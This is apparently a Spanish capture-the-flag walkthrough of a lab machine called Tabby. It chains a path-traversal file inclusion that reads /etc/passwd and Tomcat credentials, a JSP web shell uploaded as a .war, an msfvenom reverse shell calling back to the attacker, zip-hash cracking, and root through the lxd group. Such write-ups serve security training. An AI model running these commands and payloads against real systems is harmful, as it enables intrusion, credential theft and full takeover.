Tabby
En esta máquina, primero explotamos una vulnerabilidad de Local File Inclusion (LFI) para enumerar los usuarios de Tomcat. Luego, logramos la ejecución remota de código (RCE) subiendo un archivo .war en Tomcat. Para la escalada de privilegios, extrajimos las credenciales de un archivo zip y abusamos del grupo lxd.
June 6, 20248 minutes
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
ping -c 1 10.10.10.194
PING 10.10.10.194 (10.10.11.254) 56(84) bytes of data.
64 bytes from 10.10.11.254: icmp_seq=1 ttl=63 time=38.4 ms
--- 10.10.10.194 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.381/38.381/38.381/0.000 ms
Tenemos conexión y en este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux
Escaneo de puertos
Ahora empezamos con un escaneo de puertos
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.194 -oG allPorts
Explicación parámetros
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Para saltar la comprobación de sí la máquina está activa o no |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.194
5 │ [*] Open ports: 22,80,8080
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap
> nmap -p22,80,8080 -sCV 10.10.10.194 -oN versions
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-26 18:42 CEST
Nmap scan report for skyfall.htb (10.10.11.254)
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
| 256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_ 256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
|_http-title: Apache Tomcat
Explicación parámetros
Parámetro | Función |
---|---|
-p | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
Puerto 80 y 8080
En el puerto 80 hay una web corriendo con apache 2.4.41.
Empezamos haciendo fuzzing con gobuster para encontrar subdirectorios.
> gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.194 -x php
/.php (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 14175]
/news.php (Status: 200) [Size: 0]
/files (Status: 301) [Size: 312] [--> http://10.10.10.194/files/]
/assets (Status: 301) [Size: 313] [--> http://10.10.10.194/assets/]
Si accedemos en news.php, vemos una página en blanco, pero si accedemos desde el botón de la página principal, nos lleva a http://megahosting.htb/news.php?file=statement
Para poder ver la página, hay que añadir el dominio en el /etc/hosts
Una vez vemos la página observamos que hay un parámetro en la url que se llama file. El gobuster detecto que había una carpeta llamada files, lo que puede estar pasando es que el parámetro ?file= este cargando el contenido de archivos que hay en files. Esto lo podemos comprobar de la siguiente forma
Vemos que lo que se muestra en news.php?file=statement es lo mismo que hay en /files/statement. Sabiendo esto probamos de explotar un LFI (Local File Inclusion)
curl http://megahosting.htb/news.php?file=../../../../../../../../../etc/passwd
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network❌100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve❌101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync❌102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus❌103:106::/nonexistent:/usr/sbin/nologin
syslog❌104:110::/home/syslog:/usr/sbin/nologin
_apt❌105:65534::/nonexistent:/usr/sbin/nologin
tss❌106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd❌107:112::/run/uuidd:/usr/sbin/nologin
tcpdump❌108:113::/nonexistent:/usr/sbin/nologin
landscape❌109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate❌110:1::/var/cache/pollinate:/bin/false
sshd❌111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump❌999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd❌998💯:/var/snap/lxd/common/lxd:/bin/false
tomcat❌997:997::/opt/tomcat:/bin/false
mysql❌112:120:MySQL Server,,,:/nonexistent:/bin/false
ash❌1000:1000:clive:/home/ash:/bin/bashc
Ya tenemos la capacidad de enumerar archivos dentro de la máquina.
En el /etc/passwd vemos la existencia del usuario ash, al se le puede intentar robar la llave id_rsa de ssh
curl http://megahosting.htb/news.php?file=../../../../../../../../../home/ash/.ssh/id_rsa
Pero no podemos verla.
Si recordamos del escaneo de nmap, había otro puerto abierto, el 8080, este puerto tiene un tomcat corriendo. Al entrar aparece un mensaje diciendo.
Users are defined in /etc/tomcat9/tomcat-users.xml.
Intentamos ver el archivo /etc/tomcat9/tomcat-users.xml
desde el LFI, pero no se puede
curl http://megahosting.htb/news.php?file=../../../../../../../../../etc/tomcat9/tomcat-users.xml
Haciendo una búsqueda por internet, encontré que también se pueden guardar en /usr/share/tomcat9/etc/tomcat-users.xml
curl -s http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml | grep username
you must define such a user - the username and password are arbitrary. It is
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
Tenemos las credenciales del usuario tomcat!
Si nos logeamos desde /manager en el tomcat, nos aparece el siguiente error
By default the Manager is only accessible from a browser running on the same machine as Tomcat
Básicamente que no podemos entrar, a no ser que estemos accediendo desde la misma máquina. Si nos fijamos en los roles que tiene el usuario tomcat, vemos que tiene el rol manager-script. Este rol nos permite poder subir archivos de la siguiente forma.
Primero creamos un .war que nos permita ejecutar comandos
mkdir war
cd war
nano index.jsp
<form method=GET action='index.jsp'>
<input name='cmd' type=text>
<input type=submit value='Run'>
</form>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
jar -cvf ../evil.war *
cd ../
Lo subimos
curl --upload-file evil.war 'http://tomcat:$3cureP4s5w0rd123!@10.10.10.194:8080/manager/text/deploy?path=/evil2&update=true'
OK - Deployed application at context path [/evil2]
Ya podemos ejecutar comandos
curl "megahosting.htb:8080/evil2/index.jsp?cmd=id"
<form method=GET action='index.jsp'>
<input name='cmd' type=text>
<input type=submit value='Run'>
</form>
<pre>uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)</br></pre>
Para conseguir la reverse shell creamos otro .war con msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.32 LPORT=443 -f war -o shell.war
Lo subimos
curl --upload-file shell.war 'http://tomcat:$3cureP4s5w0rd123!@10.10.10.194:8080/manager/text/deploy?path=/shell&update=true'
Nos ponemos en escucha con nc por el puerto 443
nc -nlvp 443
Hacemos una petición al archivo y recibimos la shell
curl "megahosting.htb:8080/shell/"
Escalada de privilegios
Antes de seguir, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c
, ctrl + l
, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Ahora si hacemos un echo $TERM
vemos que vale dumb, pero para poder hacer ctrl + l
necesitamos que valga xterm
export TERM=xterm
Por último si miramos la shell que tenemos echo $SHELL
vemos que tenemos /usr/sbin/nologin
asi que vamos a asignar una bash
export SHELL=bash
Después de un rato buscando, encontramos 16162020_backup.zip
.
tomcat@tabby:/var/www/html/files$ ls
16162020_backup.zip archive revoked_certs statement
Al descomprimirlo pide una contraseña
tomcat@tabby:/var/www/html/files$ unzip 16162020_backup.zip
Archive: 16162020_backup.zip
checkdir error: cannot create var
Read-only file system
unable to process var/www/html/assets/.
[16162020_backup.zip] var/www/html/favicon.ico password:
Para encontrar la contraseña, nos pasamos el zip a nuestra máquina
Le sacamos el hash con zip2john
zip2john 16162020_backup.zip > hash
Ahora lo rompemos con john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash
16162020_backup.zip:admin@it::16162020_backup.zip:var/www/html/news.php, var/www/html/favicon.ico, var/www/html/Readme.txt, var/www/html/logo.png, var/www/html/index.php:16162020_backup.zip
1 password hash cracked, 0 left
La contraseña del zip es admin@it
.
Dentro del zip no hay nada.
Al probar, encontramos que esta contraseña se reutiliza para el usuario ash
Al consultar los grupos del usuario ash identificamos que está en el grupo lxd
ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
Para aprovecharnos de este grupo para escalar privilegios, haremos lo siguiente en nuestra máquina
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
bash build-alpine
Esto nos generará este archivo: alpine-v3.20-x86_64-20240606_1419.tar.gz
el cual tenemos que pasar a la máquina víctima junto con este script searchsploit -m linux/local/46978.sh
ash@tabby:/tmp$ ./46978.sh -f alpine-v3.20-x86_64-20240606_1419.tar.gz
./46978.sh: line 21: lxc: command not found
Al ejecutarlo, nos dice que el comando lxc no existe.
Lo que puede ser es que si esté el lxc, pero no en el PATH, para ello vamos a buscar si hay algún lxc
ash@tabby:/tmp$ find / -name lxc 2>/dev/null
/snap/lxd/14804/bin/lxc
/snap/lxd/14804/commands/lxc
/snap/lxd/14804/lxc
/snap/lxd/21468/bin/lxc
/snap/lxd/21468/commands/lxc
/snap/lxd/21468/lxc
/snap/bin/lxc
/var/snap/lxd/common/lxc
/etc/bash_completion.d/lxc
/usr/share/bash-completion/completions/lxc
Efectivamente, si existe el lxc, pero no está en el PATH, asi que lo añadimos
ash@tabby:/tmp$ export PATH=$PATH:/snap/bin/
Ahora nos sale Error: open alpine-v3.20-x86_64-20240606_1419.tar.gz: no such file or directory
ash@tabby:/tmp$ ./46978.sh -f alpine-v3.20-x86_64-20240606_1419.tar.gz
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04
Error: open alpine-v3.20-x86_64-20240606_1419.tar.gz: no such file or directory
[*] Listing images...
+-------+-------------+--------+-------------+--------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+--------------+------+------+-------------+
Creating privesc
Error: Not Found
Este error me dio un poco de dolor de cabeza porque no entendía porque no funcionaba.
Al final probé de mover el archivo a otra ruta, como por ejemplo el /home de ash
ash@tabby:/tmp$ mv alpine-v3.20-x86_64-20240606_1419.tar.gz /home/ash/
ash@tabby:/tmp$ ./46978.sh -f /home/ash/alpine-v3.20-x86_64-20240606_1419.tar.gz
[*] Listing images...
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| alpine | 099f19378603 | no | alpine v3.20 (20240606_14:19) | x86_64 | CONTAINER | 3.67MB | Jun 6, 2024 at 4:28pm (UTC) |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
Creating privesc
Device giveMeRoot added to privesc
~ #
Ahora ya estamos dentro del contenedor que hemos creado como el usuario root
Ahora dentro del /mnt/root tenemos montada la raiz de la máquina host
/ # cd /mnt/root
/mnt/root # ls
bin etc lib64 mnt run sys
boot home libx32 opt sbin tmp
cdrom lib lost+found proc snap usr
dev lib32 media root srv var
Así que con un cat al /mnt/root/root/root.txt
vemos la flag